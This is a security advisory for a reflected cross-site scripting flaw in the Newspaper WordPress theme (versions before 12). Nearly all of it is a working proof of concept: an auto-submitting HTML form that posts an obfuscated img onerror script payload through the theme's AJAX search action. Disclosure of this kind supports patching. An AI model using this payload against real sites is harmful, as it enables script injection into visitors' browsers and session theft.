Themes Vulnerabilities

Newspaper < 12 - Reflected Cross-Site Scripting

Description

The theme does not sanitise a parameter before outputting it back in an HTML attribute via an AJAX action, leading to a Reflected Cross-Site Scripting

Proof of Concept

Affected parameter: acts.td_atts.image_size

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="td_ajax_search" />
      <input type="hidden" name="module" value="tdb_module_search" />
      <input type="hidden" name="atts" value='{"modules_on_row":"eyJhbGwiOiIzMy4zMzMzMzMzMyUiLCJwaG9uZSI6IjEwMCUifQ==","limit":"3","modules_category":"image","show_btn":"none","show_excerpt":"none","ajax_pagination":"next_prev","td_ajax_preloading":"","sort":"","category_id":"24","f_title_font_size":"eyJwb3J0cmFpdCI6IjEzIiwiYWxsIjoiMTUiLCJwaG9uZSI6IjE0In0=","f_title_font_line_height":"eyJhbGwiOiIxLjMiLCJwaG9uZSI6IjEuNCJ9","modules_gap":"eyJhbGwiOiIyMCIsInBvcnRyYWl0IjoiMTUiLCJwaG9uZSI6IjE1In0=","show_com":"none","show_date":"eyJhbGwiOiJub25lIiwicGhvbmUiOiJpbmxpbmUtYmxvY2sifQ==","show_author":"none","image_height":"70","f_title_font_weight":"500","all_modules_space":"eyJhbGwiOiIyMCIsImxhbmRzY2FwZSI6IjIwIiwicG9ydHJhaXQiOiIxNSIsInBob25lIjoiMjYifQ==","custom_title":"HOUSE DESIGN","header_color":"#5d7987","image_floated":"eyJwaG9uZSI6ImZsb2F0X2xlZnQifQ==","image_width":"eyJwaG9uZSI6IjMwIn0=","meta_info_align":"","meta_margin":"eyJwaG9uZSI6IjAgMCAwIDE2cHgifQ==","meta_padding":"eyJwaG9uZSI6IjAifQ==","video_icon":"eyJwb3J0cmFpdCI6IjI0IiwicGhvbmUiOiIyNCJ9","image_size":"td_485x360><img src=x onerror=constructor.constructor(&#39;aler&#39;+&#39;t(document.domain)&#39;)()>","block_type":"td_flex_block_1","separator":"","custom_url":"","block_template_id":"","title_tag":"","mc1_tl":"","mc1_title_tag":"","mc1_el":"","post_ids":"","category_ids":"","tag_slug":"","autors_id":"","installed_post_types":"","offset":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","el_class":"","td_ajax_filter_type":"","td_ajax_filter_ids":"","td_filter_default_txt":"All","container_width":"","m_padding":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","modules_border_radius":"","modules_divider":"","modules_divider_color":"#eaeaea","h_effect":"","image_alignment":"50","image_radius":"","hide_image":"","video_popup":"yes","video_rec":"","spot_header":"","video_rec_title":"","video_rec_color":"","video_rec_disable":"","autoplay_vid":"yes","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","video_title_color":"","video_title_color_h":"","video_bg":"","video_overlay":"","vid_t_color":"","vid_t_bg_color":"","f_vid_title_font_header":"","f_vid_title_font_title":"Video pop-up article title","f_vid_title_font_settings":"","f_vid_title_font_family":"","f_vid_title_font_size":"","f_vid_title_font_line_height":"","f_vid_title_font_style":"","f_vid_title_font_weight":"","f_vid_title_font_transform":"","f_vid_title_font_spacing":"","f_vid_title_":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_horiz":"layout-default","meta_width":"","meta_space":"","art_title":"","art_btn":"","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","meta_info_border_radius":"","modules_category_margin":"","modules_category_padding":"","modules_cat_border":"","modules_category_radius":"0","show_cat":"inline-block","modules_extra_cat":"","author_photo":"","author_photo_size":"","author_photo_space":"","author_photo_radius":"","show_review":"inline-block","review_space":"","review_size":"2.5","review_distance":"","art_excerpt":"","excerpt_col":"1","excerpt_gap":"","excerpt_middle":"","excerpt_inline":"","show_audio":"block","hide_audio":"","art_audio":"","art_audio_size":"1.5","btn_title":"","btn_margin":"","btn_padding":"","btn_border_width":"","btn_radius":"","pag_space":"","pag_padding":"","pag_border_width":"","pag_border_radius":"","prev_tdicon":"","next_tdicon":"","pag_icons_size":"","f_header_font_header":"","f_header_font_title":"Block header","f_header_font_settings":"","f_header_font_family":"","f_header_font_size":"","f_header_font_line_height":"","f_header_font_style":"","f_header_font_weight":"","f_header_font_transform":"","f_header_font_spacing":"","f_header_":"","f_ajax_font_title":"Ajax categories","f_ajax_font_settings":"","f_ajax_font_family":"","f_ajax_font_size":"","f_ajax_font_line_height":"","f_ajax_font_style":"","f_ajax_font_weight":"","f_ajax_font_transform":"","f_ajax_font_spacing":"","f_ajax_":"","f_more_font_title":"Load more button","f_more_font_settings":"","f_more_font_family":"","f_more_font_size":"","f_more_font_line_height":"","f_more_font_style":"","f_more_font_weight":"","f_more_font_transform":"","f_more_font_spacing":"","f_more_":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_family":"","f_title_font_style":"","f_title_font_transform":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_family":"","f_cat_font_size":"","f_cat_font_line_height":"","f_cat_font_style":"","f_cat_font_weight":"","f_cat_font_transform":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_family":"","f_meta_font_size":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_weight":"","f_meta_font_transform":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_family":"","f_ex_font_size":"","f_ex_font_line_height":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","f_btn_font_title":"Article read more button","f_btn_font_settings":"","f_btn_font_family":"","f_btn_font_size":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_weight":"","f_btn_font_transform":"","f_btn_font_spacing":"","f_btn_":"","mix_color":"","mix_type":"","fe_brightness":"1","fe_contrast":"1","fe_saturate":"1","mix_color_h":"","mix_type_h":"","fe_brightness_h":"1","fe_contrast_h":"1","fe_saturate_h":"1","m_bg":"","color_overlay":"","shadow_shadow_header":"","shadow_shadow_title":"Module Shadow","shadow_shadow_size":"","shadow_shadow_offset_horizontal":"","shadow_shadow_offset_vertical":"","shadow_shadow_spread":"","shadow_shadow_color":"","title_txt":"","title_txt_hover":"","all_underline_height":"","all_underline_color":"","cat_bg":"","cat_bg_hover":"","cat_txt":"","cat_txt_hover":"","cat_border":"","cat_border_hover":"","meta_bg":"","author_txt":"","author_txt_hover":"","date_txt":"","ex_txt":"","com_bg":"","com_txt":"","rev_txt":"","audio_btn_color":"","audio_time_color":"","audio_bar_color":"","audio_bar_curr_color":"","shadow_m_shadow_header":"","shadow_m_shadow_title":"Meta info shadow","shadow_m_shadow_size":"","shadow_m_shadow_offset_horizontal":"","shadow_m_shadow_offset_vertical":"","shadow_m_shadow_spread":"","shadow_m_shadow_color":"","btn_bg":"","btn_bg_hover":"","btn_txt":"","btn_txt_hover":"","btn_border":"","btn_border_hover":"","pag_text":"","pag_h_text":"","pag_bg":"","pag_h_bg":"","pag_border":"","pag_h_border":"","ajax_pagination_infinite_stop":"","css":"","tdc_css":"","td_column_number":2,"color_preset":"","border_top":"","class":"tdi_97","tdc_css_class":"tdi_97","tdc_css_class_style":"tdi_97_rand_style"}' />
      <input type="hidden" name="td_string" value="x" />
      <input type="hidden" name="limit" value="6" />

    </form>
  </body>
</html>